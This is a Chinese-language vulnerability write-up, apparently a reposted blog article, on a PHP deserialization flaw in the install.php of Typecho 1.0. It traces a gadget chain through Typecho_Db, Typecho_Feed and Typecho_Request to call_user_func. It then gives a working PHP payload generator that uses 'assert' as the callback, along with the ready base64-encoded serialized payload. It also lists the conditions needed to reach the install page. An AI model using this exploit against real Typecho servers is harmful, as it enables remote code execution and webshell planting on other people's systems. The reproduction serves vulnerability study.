Typecho反序列化漏洞分析及復現


環境介紹:

typecho我下的是1.0版本的

 

下載地址:https://github.com/typecho/typecho/releases/tag/v1.0-14.10.10-release

 

1、顯示安裝界面,防止退出

 

 這里存在三個退出條件

1)finish參數為空且目錄下存在config.inc.php文件且session變量數組中的typecho變量為空,這里我們只要隨便傳入一個finish值

2)如果http頭部中的referer為空

3)傳入referer的網站要和目前訪問的網站不是同一個域名

 

2、漏洞思路分析:

 

 追蹤get方法:

 

 可以看到這里對post或者cookie傳入的__typecho_config變量進行一個反序列化,並且不能為數組。

 

 

 這里新建了一個Typecho_Db對象,將反序列化得到的變量數組中的adapter和prefix傳入,我們跟進Typecho__Db這個對象

 

 這里將adapterName這個變量直接拼接在一串字符串后面,也就是將adapterNmae當作字符串拼接之后賦值給了adapterName,這個時候如果adapterName如果為一個對象的話,就會自動調用__toString魔術方法。

 

 

 這里我們跟進Typecho_feed類的__toString魔術方法

 

 因為這里的$item['author']訪問了screenName這個屬性,如果這個屬性是不可訪問的話,就會自動執行__get魔術方法

但是進入這里需要滿足條件

 

 

 

接着跟進Request.php的__get魔術方法:

 

 再跟進get函數:

 

 如果_params數組中存在索引值為$key的變量,那么就會將其賦值給$value,_httpParams也是一樣,如果都不存在就將賦值為$default。

如果$value為數組的話就賦值為$default,不是的話就為本身。

 

跟進_applyFilter函數

 

 如果$value為數組就調用array_map函數,如果不是就調用call_user-func函數,重點來了,如果$filter和$value都可控的話就可以通過回調函數命令執行或者寫入木馬了

 

思路整理:

1、通過install.php中的反序列化將adapter和prefix變量傳入Typecho_Db實例化對象中

2、通過類Typecho_Db中的__construct魔術方法將adapter視作字符串拼接賦值,調用類Typecho_Feed中的__toString魔術方法

3、訪問了_items['author']中的screenName屬性,調用Typecho_Request類中的__get魔術方法並且傳入$key=screenName

4、定義$this->_params[$key],也就是$this->_params[‘screenName’]為我們想要執行的命令,即可賦值給$value

5、定義$this->_filter,構成回調函數,執行命令

 

 

 這里會對反序列化的內容拋出異常

 

 

 然后通過ob_end_clean()清除緩存,導致phpinfo()的內容顯示不出來,要通過前面的

 

 將item中的category賦值為一個對象數組,提前報錯退出,就可以顯示之前的內容

 

 

 

payload:

<?php 
class Typecho_Request{
    private $_params = array();
    private $_filter = array();
    
    public function __construct()
    {
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
}

class Typecho_Feed{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items = array();
    
    public function __construct()
    {
        $this->_type = self::RSS2;
        $this->_items[0] = array(
            'author' => new Typecho_Request(),
            'category' => array(new Typecho_Request())
        );
    }
}

$typecho = array(
    'adapter' => new Typecho_Feed(), 
    'prefix' => 'typecho_'
    );

echo base64_encode((serialize($typecho)));
?>

 

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJwaHBpbmZvKCkiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6OToicGhwaW5mbygpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM